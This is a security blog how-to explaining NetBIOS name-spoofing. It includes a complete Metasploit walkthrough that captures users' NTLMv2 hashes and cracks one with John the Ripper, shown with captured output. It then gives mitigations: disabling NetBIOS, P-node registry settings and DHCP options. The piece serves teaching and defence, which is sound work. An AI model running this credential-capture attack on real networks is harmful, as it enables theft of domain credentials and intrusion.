Blog: How Tos

The Salmon Fishing Bear Attack OR Grabbing password hashes off the network via NetBIOS

Pedro Venda 24 Oct 2013

A bit of background

NetBIOS is an old protocol developed by IBM to facilitate the task of finding a hosts on networks, which at the time were not based on today’s common TCP/IP protocol stack. It is comparable to a distributed mix of ARP and DNS where broadcast is used as the means to propagate registration and query messages.

Microsoft implemented a modified version of NetBIOS with additional features and used it as a core protocol on its TCP/IP based networks until Windows NT 4.0. Together with the introduction of Active Directory they moved to DNS to perform NetBIOS’s duties. However since then NetBIOS has been carried forward through all operating system versions for compatibility reasons. Presently NetBIOS over TCP/IP is enabled by default on all Windows versions and operates on ports UDP/137 and (rarely) on TCP/137.

In one of the common modes of operation of NetBIOS, client workstations and servers broadcast name resolution requests that are responded by the target host with its address in a unicast response. The client then connects directly to the intended service using the IP address provided on the response.

When this distributed model of NetBIOS name resolution is in use in a given network, it is possible to conduct a spoofing attack which allows the attacker to obtain encrypted cached credential hashes that are susceptible to dictionary and brute force attacks.

The Salmon Fishing Bear

This attack consists of listening to broadcast NetBIOS name resolution queries from hosts on the network and responding with the attacker’s own IP address as the query’s response, causing the victim’s host to connect to the intended service on the attacker’s host rather than on the real target server. Subsequently an authentication protocol is initiated from the client station which involves sending the connecting user’s encrypted cached credential string, which can be collected by the attacker’s host.

After a while the attacker collects a list of usernames and cached password hashes that cannot be reused directly but can be cracked by applying dictionary or brute force methods. The success rate of small scale password attacks is inversely proportional to the strength of passwords encrypted in the captured hashes – the stronger the passwords, the less likely it is that they’re cracked. This is often controlled and influenced by local and domain security policies, in particular password complexity policies.

…it’s as easy as a bear swiping salmon from a river full of fish.

This is a simple and effective attack that relies on a legacy protocol that usually goes unnoticed.

# bear (attacker)
## local IP:
## interface: eth1
# salmon (victim)
## IP:
# fire up metasploit!
root@bt:~# msfconsole
msf > setg SRVHOST
msf > setg NETMASK 24
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set SRVPORT 445
SRVPORT => 445
msf auxiliary(smb) > set CAINPWFILE /root/cainpwfile01.txt CAINPWFILE => /root/cainpwfile01.txt msf auxiliary(smb) > set JOHNPWFILE /root/johnpwfile01.txt JOHNPWFILE => /root/johnpwfile01.txt msf auxiliary(smb) > exploit [*] Auxiliary module execution completed msf auxiliary(smb) > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set SRVPORT 80 SRVPORT => 80 msf auxiliary(http_ntlm) > set CAINPWFILE /root/cainpwfile02.txt CAINPWFILE => /root/cainpwfile02.txt msf auxiliary(http_ntlm) > set JOHNPWFILE /root/johnpwfile02.txt JOHNPWFILE => /root/johnpwfile02.txt msf auxiliary(http_ntlm) > set URIPATH / URIPATH => / msf auxiliary(http_ntlm) > exploit [*] Auxiliary module execution completed [*] Using URL: [*] Server started.
msf auxiliary(http_ntlm) > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set SPOOFIP SPOOFIP => msf auxiliary(nbns_response) > set INTERFACE eth1 INTERFACE => eth1 msf auxiliary(nbns_response) > set VERBOSE true VERBOSE => true msf auxiliary(nbns_response) > exploit [*] Auxiliary module execution completed
# fun starts here
[*] NBNS Spoofer started. Listening for NBNS requests…

[*] http_ntlm – Request ‘/wpad.dat’…
[*] http_ntlm – Request ‘/wpad.dat’…
[*] http_ntlm – Request ‘/wpad.dat’…
[*] http_ntlm – 2013-10-14 18:05:41 +0100
NTLMv2 Response Captured from HYDRA
LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:6124ef0bab42446c5b70d9adeb9d42ec
[*] http_ntlm – Request ‘/favicon.ico’…
msf auxiliary(nbns_response) > exit

[*] Server stopped.
[*] Server stopped.

# got one hash
root@bt:~# grep pedro johnpwfile02.txt_netntlmv2

# crack with simple dictionary + korelogic rules # root@bt:~# /pentest/passwords/john/john -rules=korelogicrulestop7 -wordlist=/pentest/passwords/wordlists/words-english-lowercase.txt
Loaded 1 password hash (NTLMv2 C/R MD4 HMAC-MD5 [32/32])
password1 (pedro)
guesses: 1 time: 0:00:00:00 DONE (Mon Oct 14 18:07:54 2013) c/s: 1170K
trying: mach1 – spray1
Use the “–show” option to display all of the cracked passwords reliably

# salmon caught!

In an Active Domain environment, it is expected (by design) that each user authenticated to services on the network using its own domain account. Therefore this scenario is particularly useful for the attacker to gather a set of valid domain accounts and encrypted passwords. Some of these could be privileged enough to access sensitive information on network services, be it file shares, web applications, databases, CCTV, door management, etc.


The flaw being exploited is the fact that by default NetBIOS is enabled and on Windows operating systems up to and including Windows XP sets the host to a ‘b-node’ type meaning ‘broadcast’. Disabling NetBIOS over TCP/IP mitigates both flaws but could lead to operatonal limitations (if any service depends on netbios to operate).

Alternatively it is possible to control the behaviour of the protocol to make it use a query server (Windows Internet Name Service – a centralised implementation of the NetBIOS Name Service module) rather than broadcasting queries. This makes it more secure and less susceptible to the attack discussed.

In the NetBIOS protocol, hosts are known as nodes and can be of several
types: B, P, M and H. The only type that does not resort to broadcast for name resolution and registration is P-node which will instead unicast requests to a dedicated Windows Internet Name Service (WINS).

Forcing NetBIOS hosts into being P-nodes is the most secure setting for Windows hosts because it eliminates the use of broadcast for NetBIOS messaging.

Controlling NetBIOS locally or centrally

NetBIOS can be completely disabled by setting the system service ‘TCP/IP NetBIOS helper’ to ‘disabled’.

The protocol can be controlled locally and individually on each network interface by editing the interface’s properties (using the GUI) or by changing registry options related to those interfaces.

In particular, the keys
(REG_DWORD) can be set with one of three values:

  • 0x0: Use NetBIOS settings from DHCP or enable if IP is statically set;
  • 0x1: Enable NetBIOS over TCP/IP;
  • 0x2: Disable NetBIOS over TCP/IP;

Setting node types locally can be done by modifying the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netbt\Parameters\NodeType (REG_DWORD)

  • 0x1: b-node – broadcast;
  • 0x2: p-node – peer to peer;
  • 0x4: m-node – mixed mode: broadcast, then peer to peer;
  • 0x8: h-node – hybrid mode: peer to peer, then broadcast;

The option ‘Use NetBIOS setting from the DHCP server’ in network interface properties (enabled by default and controlled by the above mentioned registry key) allows NetBIOS configuration to be influenced by DHCP options, in particular WINS location and node type selection, respectively DHCP options 44 and 46 (translated to ISC DHCP daemon options netbios-name-server and netbios-node-type).

# sample configuration for ISC DHCP daemon # 1 = B-node, 2 = P-node, 4 =M-node, 8 = H-node option netbios-node-type 2; # set to P-node option netbios-name-servers; # set WINS address to